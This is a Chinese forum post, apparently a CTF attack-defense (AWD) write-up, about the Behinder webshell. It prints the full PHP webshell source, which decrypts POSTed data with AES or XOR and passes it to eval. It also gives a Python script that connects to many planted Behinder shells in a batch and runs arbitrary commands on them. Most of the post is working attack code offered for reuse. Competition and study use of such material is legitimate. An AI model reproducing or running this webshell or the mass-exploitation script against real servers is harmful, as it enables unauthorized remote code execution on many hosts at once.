昨晚打了星盟的awd,被ex师傅带飞了,我全场除了补洞基本0贡献,在比赛过程中遇到了冰蝎的马,就在想能不能做一个批量利用:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass'])) {
    $key = substr(md5(uniqid(rand())), 16);
    $_SESSION['k'] = $key;
    print $key;//能够直接取key
} else {
    $key = $_SESSION['k'];//key是在session中存着的
    $post = file_get_contents("php://input");//获取post内容
    if (!extension_loaded('openssl')) {//不存在openssl时候采用另一种加密方式
        $t = "base64_" . "decode";
        $post = $t($post . "");

        for ($i = 0; $i < strlen($post); $i++) {
            $post[$i] = $post[$i] ^ $key[$i + 1 & 15];//异或可以直接反向加解密
        }
    } else {
        $post = openssl_decrypt($post, "AES128", $key);//aes解密
    }

    $arr = explode('|', $post);//用|作为分隔符,取[1]来eval
    $func = $arr[0];//不明白这个变量有什么用处?可能是留给用户自己扩展吧,抓了下冰蟹流量这个地方是assert,但是实际上并没有用到
    $params = $arr[1];
    class C
    {
        public function __construct($p)
        {
            eval($p . "");
        }
    }
    @new C($params);
}

可是我之前并没有用过冰蝎,也没有见过,所以单纯就把这个当成了普普通通的马儿。(往届星盟awd也同样遇到过好几次这个马,但是我当时都是直接删掉,没有很在意)然后本地试了半天,手动骑,,,
后来师傅们甩给我一个冰蝎,发现可以直接连,去死的心都有了,,
不过用冰蝎的话,批量连接很麻烦,要是一个个点的话可能别队都删完了你都没能点上一个。所以我分析了下源码,写了个能够批量连接冰蝎执行命令的接口(发现之前fz41师傅写了一个初级版本:https://xz.aliyun.com/t/6520
这个东西吧,没啥技术含量,能够用到的地方也特别少(似乎也就awd用得到吧?不过我的冰蝎有时候连接不上,但是用脚本可以,不知道什么原因)但是写起来挺有趣的,也有几个小坑,关键代码如下:

def Behinder_aes_enc(command, key):
    import os

    command = "|echo \\'hacked by 12end!\\';" + command
    str = "php -r \"echo @openssl_encrypt('%s', 'AES128', '%s');\"" % (command, key)
    try:
        str = os.popen(str).readline()
    except:
        str = ""
    return str


def Behinder_b64_enc(command, key):
    import base64, urllib

    command = "|echo 'hacked by 12end!';" + command + "//"
    str = ""
    for i in range(0, len(command)):
        str += chr(ord(command[i]) ^ ord(key[((i + 1) & 15)]))
    str = base64.b64encode(str.encode("utf-8")).decode()
    str = urllib.parse.quote(str)
    # print(str)
    return str


def Behinder_exec(url, command):

    sess = requests.session()
    key = sess.get(url + "?pass", timeout=3).text
    str = Behinder_aes_enc(command, key)
    result = sess.post(url, json=str).text
    if "12end" not in result:
        str = Behinder_b64_enc(command, key)
        result = sess.post(url, json=str, timeout=3).text
    sess.close()
    return result


def fuck_allBehinder(urls, command):
    for url in urls:
        Behinder_exec(url, command)


if __name__ == "__main__":
    urls = []
    command = ""
    fuck_allBehinder(urls, command)

Behinder_aes_encBehinder_b64_enc分别用来通过command和key获取post字符串,因为不确定目标服务器是否开启了openssl扩展,所以默认在command里面添加了echo,并通过检查返回中的特定字符串来判断是否执行成功。如果失败,就会调用另一种加密方法。
在b64_enc中有个坑,能够发现我在command后面添加了php注释符//,这是因为我在调试过程中发现解密出来的command字符串后面会有一些奇怪字符,因为base643位一加密,4位一解密,而把这些字符放到eval里面显然是会报错的,所以就直接注释掉(这显然是一个无脑的方法)
把openssl扩展关了(因为问题出在b64那部分)修改冰蝎输出post变量:

可以看到会有一些多余字符(能够执行是因为我加了注释符):

如果觉得不够优雅,还可以判断位数来加pad字符
这个脚本也就供不时之需了,因为预置冰蟹的awd也确实不多好像,如果手快的话,写一个列表表达式导入url,在比赛开始1分钟拿到大部分shell也不是梦哈哈。

点击收藏 | 1 关注 | 1
登录 后跟帖